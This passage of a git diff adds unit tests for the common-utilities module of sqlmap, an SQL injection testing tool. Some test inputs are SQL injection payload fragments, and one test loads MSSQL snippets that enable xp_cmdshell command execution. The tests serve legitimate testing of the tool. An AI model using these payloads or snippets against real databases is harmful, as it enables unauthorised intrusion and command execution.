data) + + def test_property_large(self): + for size in (1024, 8192, 65536): + data = _rand_bytes(size) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed at size %d" % size) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common.py b/tests/test_common.py new file mode 100644 index 00000000000..e8d217627fc --- /dev/null +++ b/tests/test_common.py @@ -0,0 +1,1722 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Consolidated unit coverage for lib/core/common.py. + +This module merges the previously separate test_common_utils.py, +test_common_parsers.py and the common.py-specific classes from +test_core_more.py, test_core_extra.py and test_core_final.py into a single +file. Test logic is unchanged from those sources. + +Everything runs in isolation (no network, no DBMS, no persistent filesystem +mutation of the project). Any function that reads/writes global conf/kb/Backend +state has that state saved and restored around the call so test ordering stays +irrelevant. Temp files go to the session scratchpad and are removed. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import atexit +import base64 +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb, paths +from lib.core.defaults import defaults +from lib.core.enums import ( + CHARSET_TYPE, + DBMS, + EXPECTED, + HTTPMETHOD, + PLACE, + SORT_ORDER, +) +from lib.core.exception import ( + SqlmapSystemException, +) +from lib.core.settings import ( + NULL, + PAYLOAD_DELIMITER, + REFLECTED_VALUE_MARKER, +) +from lib.core.common import ( + aliasToDbmsEnum, + applyFunctionRecursively, + arrayizeValue, + Backend, + boldifyMessage, + calculateDeltaSeconds, + checkFile, + checkOldOptions, + checkSystemEncoding, + cleanReplaceUnicode, + commonFinderOnly, + enumValueToNameLookup, + extractErrorMessage, + extractExpectedValue, + extractRegexResult, + extractTextTagContent, + filePathToSafeString, + filterListValue, + filterNone, + filterPairValues, + filterStringValue, + findMultipartPostBoundary, + findPageForms, + flattenValue, + Format, + getCharset, + getFilteredPageContent, + getHeader, + getLimitRange, + getPageWordSet, + getPartRun, + getRequestHeader, + getSQLSnippet, + getTechnique, + getText, + intersect, + isListLike, + isNoneValue, + isNullValue, + isNumber, + isNumPosStrValue, + isWindowsDriveLetterPath, + isZipFile, + joinValue, + listToStrValue, + normalizeUnicode, + paramToDict, + parseJson, + parsePasswordHash, + parseRequestFile, + parseTargetDirect, + parseTargetUrl, + parseUnionPage, + removePostHintPrefix, + removeReflectiveValues, + resetCookieJar, + safeExpandUser, + safeFilepathEncode, + safeStringFormat, + safeSQLIdentificatorNaming, + saveConfig, + serializeObject, + setTechnique, + splitFields, + trimAlphaNum, + unArrayizeValue, + unserializeObject, + urlencode, + zeroDepthSearch, +) + +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + + +def _write_temp(content, suffix): + """Write `content` (str) to a scratchpad temp file, return its path.""" + if not os.path.isdir(SCRATCH): + os.makedirs(SCRATCH) + handle, path = tempfile.mkstemp(suffix=suffix, dir=SCRATCH) + os.write(handle, content.encode("utf-8") if isinstance(content, str) else content) + os.close(handle) + return path + + +class _FakeRequest(object): + """Minimal stand-in for urllib2.Request used by getRequestHeader().""" + + def __init__(self, headers): + self.headers = headers + + def header_items(self): + return self.headers.items() + + +# =========================================================================== # +# from tests/test_common_utils.py +# =========================================================================== # + +class TestParamToDict(unittest.TestCase): + """Parameter string -> OrderedDict for the various injection places.""" + + def test_get_two_params(self): + result = paramToDict(PLACE.GET, "id=1&name=foo") + self.assertEqual(list(result.items()), [("id", "1"), ("name", "foo")]) + + def test_get_preserves_order(self): + result = paramToDict(PLACE.GET, "c=3&a=1&b=2") + self.assertEqual(list(result.keys()), ["c", "a", "b"]) + + def test_post_place(self): + result = paramToDict(PLACE.POST, "user=admin&pass=secret") + self.assertEqual(result["user"], "admin") + self.assertEqual(result["pass"], "secret") + + def test_empty_value(self): + result = paramToDict(PLACE.GET, "id=&name=x") + self.assertEqual(result["id"], "") + self.assertEqual(result["name"], "x") + + def test_value_with_equal_signs(self): + # value is re-joined on '=' so embedded '=' survives + result = paramToDict(PLACE.GET, "token=a=b=c") + self.assertEqual(result["token"], "a=b=c") + + def test_cookie_delimiter(self): + # COOKIE place splits on ';' rather than '&' + result = paramToDict(PLACE.COOKIE, "foo=bar;baz=qux") + self.assertEqual(list(result.items()), [("foo", "bar"), ("baz", "qux")]) + + def test_param_without_equals_ignored(self): + # an element with no '=' has len(parts) < 2 and is skipped + result = paramToDict(PLACE.GET, "lonely&id=1") + self.assertEqual(list(result.items()), [("id", "1")]) + + +class TestGetCharset(unittest.TestCase): + """Inference charsets are fixed integer tables.""" + + def test_binary(self): + self.assertEqual(getCharset(CHARSET_TYPE.BINARY), [0, 1, 47, 48, 49]) + + def test_default_is_full_ascii(self): + self.assertEqual(getCharset(None), list(range(0, 128))) + + def test_digits(self): + result = getCharset(CHARSET_TYPE.DIGITS) + self.assertEqual(result, list(range(0, 10)) + list(range(47, 58))) + + def test_alpha_has_no_digits(self): + result = getCharset(CHARSET_TYPE.ALPHA) + # ASCII codes for '0'..'9' are 48..57; ALPHA must exclude them + self.assertFalse(any(48 <= _ <= 57 for _ in result)) + self.assertIn(ord("A"), result) + self.assertIn(ord("z"), result) + + def test_alphanum_superset_of_alpha(self): + alpha = set(getCharset(CHARSET_TYPE.ALPHA)) + alphanum = set(getCharset(CHARSET_TYPE.ALPHANUM)) + self.assertTrue(alpha.issubset(alphanum)) + self.assertIn(ord("5"), alphanum) + + def test_hexadecimal_contains_hex_letters(self): + result = getCharset(CHARSET_TYPE.HEXADECIMAL) + for ch in "0123456789abcdefABCDEF": + self.assertIn(ord(ch), result, msg="missing %r" % ch) + + +class TestGetLimitRange(unittest.TestCase): + def test_basic(self): + self.assertEqual(list(getLimitRange(10)), list(range(0, 10))) + + def test_plus_one(self): + self.assertEqual(list(getLimitRange(3, plusOne=True)), [1, 2, 3]) + + def test_string_count_coerced(self): + # count is int()-coerced internally + self.assertEqual(list(getLimitRange("4")), [0, 1, 2, 3]) + + def test_length(self): + self.assertEqual(len(getLimitRange(7)), 7) + + +class TestParseUnionPage(unittest.TestCase): + def test_none(self): + self.assertIsNone(parseUnionPage(None)) + + def test_two_entries(self): + page = "%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop) + # returns a BigArray; compare element-wise + self.assertEqual(list(parseUnionPage(page)), ["foo", "bar"]) + + def test_single_entry_unwrapped(self): + # a lone wrapped string is returned as the bare string, not a 1-element list + page = "%shello%s" % (kb.chars.start, kb.chars.stop) + self.assertEqual(parseUnionPage(page), "hello") + + def test_multi_column_row(self): + # a single row whose values are joined by kb.chars.delimiter becomes one + # nested list entry + page = "%sa%sb%s" % (kb.chars.start, kb.chars.delimiter, kb.chars.stop) + self.assertEqual(list(parseUnionPage(page)), [["a", "b"]]) + + def test_unmarked_page_returned_verbatim(self): + self.assertEqual(parseUnionPage("no markers here"), "no markers here") + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic_tuple(self): + self.assertEqual(safeStringFormat("SELECT foo FROM %s LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar LIMIT 1") + + def test_literal_percent_preserved(self): + self.assertEqual( + safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1") + + def test_single_string_param(self): + self.assertEqual(safeStringFormat("a %s b", "X"), "a X b") + + def test_scalar_non_string(self): + self.assertEqual(safeStringFormat("n=%d", 5), "n=5") + + +class TestUrlencode(unittest.TestCase): + def test_basic(self): + self.assertEqual(urlencode("AND 1>(2+3)#"), "AND%201%3E%282%2B3%29%23") + + def test_none(self): + self.assertIsNone(urlencode(None)) + + def test_spaceplus(self): + self.assertEqual(urlencode("a b", spaceplus=True), "a+b") + + def test_convall_encodes_safe_chars(self): + # with convall the explicit 'safe' set is dropped, so '/' gets encoded + self.assertEqual(urlencode("a/b", convall=True), "a%2Fb") + + def test_safe_char_default_kept(self): + # by default '-' and '_' are in the safe set + self.assertEqual(urlencode("a-b_c"), "a-b_c") + + +class TestParseTargetUrl(unittest.TestCase): + """parseTargetUrl mutates conf.* in place; save and restore everything touched.""" + + def _save(self): + return {k: conf.get(k) for k in + ("url", "scheme", "path", "hostname", "port", "ipv6")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_https_url(self): + saved = self._save() + orig_params = conf.parameters.get(PLACE.GET) + try: + conf.url = "https://www.test.com/?id=1" + parseTargetUrl() + self.assertEqual(conf.hostname, "www.test.com") + self.assertEqual(conf.scheme, "https") + self.assertEqual(conf.port, 443) + self.assertEqual(conf.parameters[PLACE.GET], "id=1") + finally: + self._restore(saved) + if orig_params is None: + conf.parameters.pop(PLACE.GET, None) + else: + conf.parameters[PLACE.GET] = orig_params + + def test_scheme_defaulted_and_port(self): + saved = self._save() + try: + conf.url = "example.org:8080/app" + parseTargetUrl() + self.assertEqual(conf.hostname, "example.org") + self.assertEqual(conf.scheme, "http") + self.assertEqual(conf.port, 8080) + finally: + self._restore(saved) + + def test_empty_url_returns_none(self): + saved = self._save() + try: + conf.url = "" + self.assertIsNone(parseTargetUrl()) + finally: + self._restore(saved) + + +class TestParseTargetDirect(unittest.TestCase): + """parseTargetDirect under smokeMode (early-returns before driver imports).""" + + def _save(self): + return {k: conf.get(k) for k in + ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_full_mysql_dsn(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" + parseTargetDirect() + self.assertEqual(conf.dbms, "mysql") + self.assertEqual(conf.dbmsUser, "root") + self.assertEqual(conf.dbmsPass, "testpass") + self.assertEqual(conf.dbmsDb, "testdb") + self.assertEqual(conf.hostname, "127.0.0.1") + self.assertEqual(conf.port, 3306) + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_quoted_password(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" + parseTargetDirect() + self.assertEqual(conf.dbmsPass, "P@ssw0rd") + self.assertEqual(conf.hostname, "127.0.0.1") + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_empty_direct_returns_none(self): + saved = self._save() + try: + conf.direct = None + self.assertIsNone(parseTargetDirect()) + finally: + self._restore(saved) + + +class TestSafeSQLIdentificatorNaming(unittest.TestCase): + """Quoting of identifiers is DBMS-specific; drive it via kb.forcedDbms.""" + + def _run(self, dbms, name, **kw): + orig = kb.forcedDbms + try: + kb.forcedDbms = dbms + return getText(safeSQLIdentificatorNaming(name, **kw)) + finally: + kb.forcedDbms = orig + + def test_mssql_keyword_bracketed(self): + self.assertEqual(self._run(DBMS.MSSQL, "begin"), "[begin]") + + def test_plain_name_unquoted(self): + self.assertEqual(self._run(DBMS.MSSQL, "foobar"), "foobar") + + def test_firebird_name_with_space_double_quoted(self): + self.assertEqual(self._run(DBMS.FIREBIRD, "foo bar"), '"foo bar"') + + def test_mysql_keyword_backticked(self): + self.assertEqual(self._run(DBMS.MYSQL, "select"), "`select`") + + def test_oracle_keyword_uppercased(self): + # Oracle quotes AND uppercases reserved words + self.assertEqual(self._run(DBMS.ORACLE, "table"), '"TABLE"') + + def test_unsafe_naming_passthrough(self): + orig = conf.unsafeNaming + try: + conf.unsafeNaming = True + self.assertEqual(self._run(DBMS.MYSQL, "select"), "select") + finally: + conf.unsafeNaming = orig + + +class TestGetPartRun(unittest.TestCase): + def test_no_dbms_handler_in_stack(self): + # called from a test (no conf.dbmsHandler.* on the stack) -> None + self.assertIsNone(getPartRun()) + + def test_non_alias_form_also_none(self): + self.assertIsNone(getPartRun(alias=False)) + + +# =========================================================================== # +# from tests/test_common_parsers.py +# =========================================================================== # + +class TestParseRequestFileBurp(unittest.TestCase): + """_parseBurpLog via parseRequestFile (plain '=====' log + Burp XML history).""" + + def setUp(self): + self._scope = conf.scope + self._method = conf.method + self._headers = conf.headers + conf.scope = None + conf.method = None # avoid a leaked conf.method overriding the parsed verb + + def tearDown(self): + conf.scope = self._scope + conf.method = self._method + conf.headers = self._headers + + def test_plain_burp_log_get(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "Cookie: PHPSESSID=abc\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertIsNone(data) + self.assertEqual(cookie, "PHPSESSID=abc") + self.assertIn(("Host", "www.target.com"), headers) + + def test_burp_xml_history_base64_request(self): + req = "GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\nCookie: SID=xyz\r\n\r\n" + b64 = base64.b64encode(req.encode()).decode() + xml = ('80' + '' + '' % b64) + path = _write_temp(xml, ".xml") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertEqual(cookie, "SID=xyz") + + def test_post_body_captured(self): + content = ( + "======================================================\n" + "POST http://www.target.com:80/login HTTP/1.1\n" + "Host: www.target.com\n" + "Content-Length: 17\n" + "\n" + "user=admin&pw=1\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(method, HTTPMETHOD.POST) + self.assertEqual(data, "user=admin&pw=1") + + def test_scope_filters_out_nonmatching(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + conf.scope = r"example\.org" # does not match target.com + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseRequestFileWebScarab(unittest.TestCase): + """_parseWebScarabLog via parseRequestFile.""" + + def setUp(self): + self._scope = conf.scope + conf.scope = None + + def tearDown(self): + conf.scope = self._scope + + def test_get_conversation(self): + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/vuln.php?id=1\n" + "METHOD: GET\n" + "COOKIE: SID=abc\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com/vuln.php?id=1") + self.assertEqual(method, "GET") + self.assertIsNone(data) + self.assertEqual(cookie, "SID=abc") + self.assertEqual(headers, tuple()) + + def test_post_conversation_skipped(self): + # POST bodies live in separate files -> WebScarab POSTs are skipped + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/login\n" + "METHOD: POST\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseTargetDirectNonSmoke(unittest.TestCase): + """parseTargetDirect() non-smoke branch: resolves the canonical DBMS name. + + Uses SQLite because its driver (stdlib sqlite3) is always importable. + """ + + _KEYS = ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port") + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._KEYS} + self._smoke = kb.smokeMode + self._params_none = conf.parameters.get(None) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.smokeMode = self._smoke + if self._params_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = self._params_none + + def test_sqlite_local_dsn(self): + kb.smokeMode = False + conf.direct = "sqlite://%s" % os.path.join(SCRATCH, "test.db") + parseTargetDirect() + # non-smoke path canonicalizes the DBMS name via DBMS_DICT + self.assertEqual(conf.dbms, DBMS.SQLITE) + # local file DBMS: hostname forced to localhost, port 0 + self.assertEqual(conf.hostname, "localhost") + self.assertEqual(conf.port, 0) + self.assertEqual(conf.parameters[None], "direct connection") + + +class TestRemoveReflectiveValues(unittest.TestCase): + def setUp(self): + self._mech = kb.reflectiveMechanism + self._heur = kb.heuristicMode + kb.reflectiveMechanism = True + kb.heuristicMode = False + + def tearDown(self): + kb.reflectiveMechanism = self._mech + kb.heuristicMode = self._heur + + def test_reflected_payload_masked(self): + content = u"You searched for 1 AND 1=2 here" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn("AND 1=2", out) + + def test_no_reflection_returns_content_unchanged(self): + content = u"nothing interesting" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertEqual(out, content) + + def test_none_payload_returns_content(self): + content = u"x" + self.assertEqual(removeReflectiveValues(content, None), content) + + def test_bytes_content_returned_as_is(self): + # non-text content short-circuits (isinstance text_type check) + content = b"1 AND 1=2" + self.assertEqual(removeReflectiveValues(content, "1 AND 1=2"), content) + + +class TestFindPageForms(unittest.TestCase): + def setUp(self): + self._scope = conf.scope + self._crawlExclude = conf.crawlExclude + self._cookie = conf.cookie + conf.scope = None + conf.crawlExclude = None + conf.cookie = None + + def tearDown(self): + conf.scope = self._scope + conf.crawlExclude = self._crawlExclude + conf.cookie = self._cookie + + def test_post_form_discovered(self): + html = ('
    ' + '' + '
    ') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(forms, set([("http://www.site.com/input.php", "POST", "id=1", None, None)])) + + def test_get_form_discovered(self): + html = ('
    ' + '' + '
    ') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(len(forms), 1) + url, method, data, _cookie, _ = list(forms)[0] + self.assertEqual(method, "GET") + self.assertIn("q=x", url) + + def test_inline_js_post_discovered(self): + # the `.post('url', {k: v})` regex branch (independent of HTML form parsing) + html = "" + forms = findPageForms(html, "http://www.site.com") + self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) + + def test_blank_content_returns_empty_set(self): + self.assertEqual(findPageForms("", "http://www.site.com"), set()) + + +class TestSaveConfig(unittest.TestCase): + def test_writes_ini_with_sections(self): + path = _write_temp("", ".ini") + try: + saveConfig(conf, path) + with open(path) as f: + data = f.read() + finally: + os.unlink(path) + + # optDict families become [Section] headers + self.assertIn("[Target]", data) + self.assertIn("[Request]", data) + self.assertIn("[Enumeration]", data) + self.assertTrue(len(data) > 0) + + +class TestGetSQLSnippet(unittest.TestCase): + def test_mssql_proc_loaded(self): + snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + self.assertIn("RECONFIGURE", snippet) + + def test_variable_substitution(self): + # %VAR% placeholders are substituted from kwargs (here %ENABLE%); + # supplying it avoids the interactive "provide substitution values" prompt. + snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") + self.assertIn("xp_cmdshell", snippet) + self.assertIn("RECONFIGURE", snippet) + # comments (#...) are stripped and the placeholder is fully resolved + self.assertNotIn("#", snippet) + self.assertNotIn("%ENABLE%", snippet) + + +class TestCheckSystemEncoding(unittest.TestCase): + def test_noop_on_normal_encoding(self): + # On a normal default encoding this is a no-op and must not raise. + self.assertIsNone(checkSystemEncoding()) + + +class TestFormatGetOs(unittest.TestCase): + def setUp(self): + self._api = conf.api + conf.api = False + + def tearDown(self): + conf.api = self._api + + def test_humanizes_type_and_technology(self): + info = { + "type": set(["Linux"]), + "distrib": set(["Ubuntu"]), + "release": set(["8.10"]), + "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), + } + out = Format.getOs("back-end DBMS", info) + self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) + self.assertIn("Ubuntu", out) + self.assertIn("8.10", out) + self.assertIn("web application technology:", out) + + def test_api_mode_returns_dict(self): + orig = conf.api + try: + conf.api = True + info = {"type": set(["Windows"]), "technology": set(["IIS"])} + out = Format.getOs("back-end DBMS", info) + self.assertIsInstance(out, dict) + self.assertIn("web application technology", out) + finally: + conf.api = orig + + +class TestBackendSetters(unittest.TestCase): + """Backend OS/version setters write kb state; save and restore it.""" + + _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") + + def setUp(self): + self._saved = {k: kb.get(k) for k in self._KEYS} + + def tearDown(self): + for k, v in self._saved.items(): + kb[k] = v + + def test_set_get_os(self): + kb.os = None + self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized + self.assertEqual(Backend.getOs(), "Windows") + + def test_set_os_none_returns_none(self): + self.assertIsNone(Backend.setOs(None)) + + def test_set_os_version(self): + kb.osVersion = None + Backend.setOsVersion("2008") + self.assertEqual(Backend.getOsVersion(), "2008") + + def test_set_os_service_pack(self): + kb.osSP = None + Backend.setOsServicePack(3) + self.assertEqual(Backend.getOsServicePack(), 3) + + def test_set_get_version(self): + kb.dbmsVersion = [] + self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) + self.assertEqual(Backend.getVersion(), "5.7") + + def test_set_version_list(self): + kb.dbmsVersion = [] + Backend.setVersionList(["8.0", "8.1"]) + self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) + + +class TestUrlencodeExtraBranches(unittest.TestCase): + def test_like_percent_encoded(self): + # '%' inside a LIKE '...' literal is encoded to %25 + self.assertEqual(urlencode("AND name LIKE '%DBA%'"), + "AND%20name%20LIKE%20%27%25DBA%25%27") + + def test_convall_drops_safe_set(self): + self.assertEqual(urlencode("a&b", convall=True), "a%26b") + + def test_limit_does_not_crash_on_long_input(self): + out = urlencode("x " * 4000, limit=True) + self.assertTrue(len(out) > 0) + + def test_direct_mode_returns_value_unchanged(self): + orig = conf.direct + try: + conf.direct = "mysql://u:p@h:3306/d" + self.assertEqual(urlencode("a b"), "a b") + finally: + conf.direct = orig + + +class TestSafeStringFormatExtraBranches(unittest.TestCase): + def test_percent_d_in_payload_region_becomes_string(self): + fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER + self.assertEqual( + safeStringFormat(fmt, ("a", "5")), + "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) + + def test_scalar_string_percent_preserved(self): + # single-string param path: plain replace, embedded '%' survives + self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") + + def test_two_params_list(self): + self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") + + +# =========================================================================== # +# from tests/test_core_more.py (common.py classes) +# =========================================================================== # + +class TestSmallPredicates(unittest.TestCase): + def test_is_none_value(self): + self.assertTrue(isNoneValue(None)) + self.assertTrue(isNoneValue("None")) + self.assertTrue(isNoneValue("")) + self.assertTrue(isNoneValue([])) + self.assertTrue(isNoneValue(["None", ""])) + self.assertTrue(isNoneValue({})) + self.assertFalse(isNoneValue([2])) + self.assertFalse(isNoneValue("x")) + + def test_is_null_value(self): + self.assertTrue(isNullValue(u"NULL")) + self.assertTrue(isNullValue(u"null")) + self.assertFalse(isNullValue(u"foobar")) + self.assertFalse(isNullValue(5)) + + def test_is_num_pos_str_value(self): + self.assertTrue(isNumPosStrValue(1)) + self.assertTrue(isNumPosStrValue("1")) + self.assertFalse(isNumPosStrValue(0)) + self.assertFalse(isNumPosStrValue("-2")) + self.assertFalse(isNumPosStrValue("100000000000000000000")) + self.assertFalse(isNumPosStrValue("abc")) + + def test_is_number(self): + self.assertTrue(isNumber(1)) + self.assertTrue(isNumber("0")) + self.assertTrue(isNumber("3.14")) + self.assertFalse(isNumber("foobar")) + self.assertFalse(isNumber(None)) + + def test_is_list_like(self): + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(set([1]))) + self.assertFalse(isListLike("x")) + self.assertFalse(isListLike(5)) + + +class TestValueShaping(unittest.TestCase): + def test_filter_pair_values(self): + self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) + self.assertEqual(filterPairValues(None), []) + + def test_filter_list_value(self): + self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), + ["users", "admins"]) + # non-list input returned unchanged + self.assertEqual(filterListValue("notlist", r"x"), "notlist") + # no regex returns input + self.assertEqual(filterListValue(["a"], None), ["a"]) + + def test_filter_none(self): + self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) + + def test_filter_string_value(self): + self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") + + def test_un_arrayize_value(self): + self.assertEqual(unArrayizeValue(["1"]), "1") + self.assertEqual(unArrayizeValue("1"), "1") + self.assertEqual(unArrayizeValue(["1", "2"]), "1") + self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") + self.assertIsNone(unArrayizeValue([])) + + def test_flatten_value(self): + self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) + + def test_arrayize_value(self): + self.assertEqual(arrayizeValue("1"), ["1"]) + self.assertEqual(arrayizeValue(["1"]), ["1"]) + + def test_join_value(self): + self.assertEqual(joinValue(["1", "2"]), "1,2") + self.assertEqual(joinValue("1"), "1") + self.assertEqual(joinValue(["1", None]), "1,None") + + +class TestZeroDepthAndSplit(unittest.TestCase): + def test_zero_depth_search_skips_parens(self): + expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" + idx = zeroDepthSearch(expr, " FROM ") + # only the outer top-level FROM is found, not the one inside the subselect + self.assertEqual(len(idx), 1) + self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) + + def test_zero_depth_search_ignores_quoted(self): + expr = "a , 'b , c' , d" + # commas inside the quoted literal are not reported + self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) + + def test_split_fields_basic(self): + self.assertEqual(splitFields("foo, bar, max(foo, bar)"), + ["foo", "bar", "max(foo,bar)"]) + + def test_split_fields_quoted(self): + self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) + + def test_split_fields_custom_delimiter(self): + self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), + ["a", "b", "max(c;d)"]) + + +class TestAliasToDbmsEnum(unittest.TestCase): + def test_known_aliases(self): + self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) + self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_unknown_alias_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) + + def test_empty_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("")) + + +class TestGetPageWordSet(unittest.TestCase): + def test_word_extraction(self): + words = getPageWordSet(u"foobartest") + self.assertEqual(sorted(words), [u"foobar", u"test"]) + + def test_non_string_returns_empty(self): + self.assertEqual(getPageWordSet(None), set()) + + +class TestNormalizeUnicode(unittest.TestCase): + def test_accents_stripped(self): + # normalizeUnicode collapses accented chars to their ASCII base + self.assertEqual(normalizeUnicode(u"\xe9\xe8"), "ee") + + def test_plain_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"abc123"), "abc123") + + def test_none_returns_none(self): + self.assertIsNone(normalizeUnicode(None)) + + +class TestResetCookieJar(unittest.TestCase): + """resetCookieJar's clear branch (conf.loadCookies falsy).""" + + def setUp(self): + self._loadCookies = conf.loadCookies + conf.loadCookies = None + + def tearDown(self): + conf.loadCookies = self._loadCookies + + def test_clear_branch(self): + try: + from http.cookiejar import CookieJar + except ImportError: # Python 2 + from cookielib import CookieJar + + jar = CookieJar() + cleared = {"called": False} + + class _Jar(object): + def clear(self): + cleared["called"] = True + + resetCookieJar(_Jar()) + self.assertTrue(cleared["called"]) + # also accepts a real jar without raising + self.assertIsNone(resetCookieJar(jar)) + + +# =========================================================================== # +# from tests/test_core_extra.py (common.py classes) +# =========================================================================== # + +class TestCommonStringHelpers(unittest.TestCase): + """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" + + def test_posix_to_nt_slashes(self): + from lib.core.common import posixToNtSlashes + self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") + self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") + # falsy input returned unchanged + self.assertEqual(posixToNtSlashes(""), "") + self.assertIsNone(posixToNtSlashes(None)) + + def test_nt_to_posix_slashes(self): + from lib.core.common import ntToPosixSlashes + self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") + self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") + self.assertEqual(ntToPosixSlashes(""), "") + + def test_is_hex_encoded_string(self): + from lib.core.common import isHexEncodedString + self.assertTrue(isHexEncodedString("DEADBEEF")) + self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex + self.assertFalse(isHexEncodedString("test")) + self.assertFalse(isHexEncodedString("12 34")) # space breaks it + + def test_is_digit(self): + from lib.core.common import isDigit + self.assertTrue(isDigit("123456")) + self.assertFalse(isDigit("3b3")) + 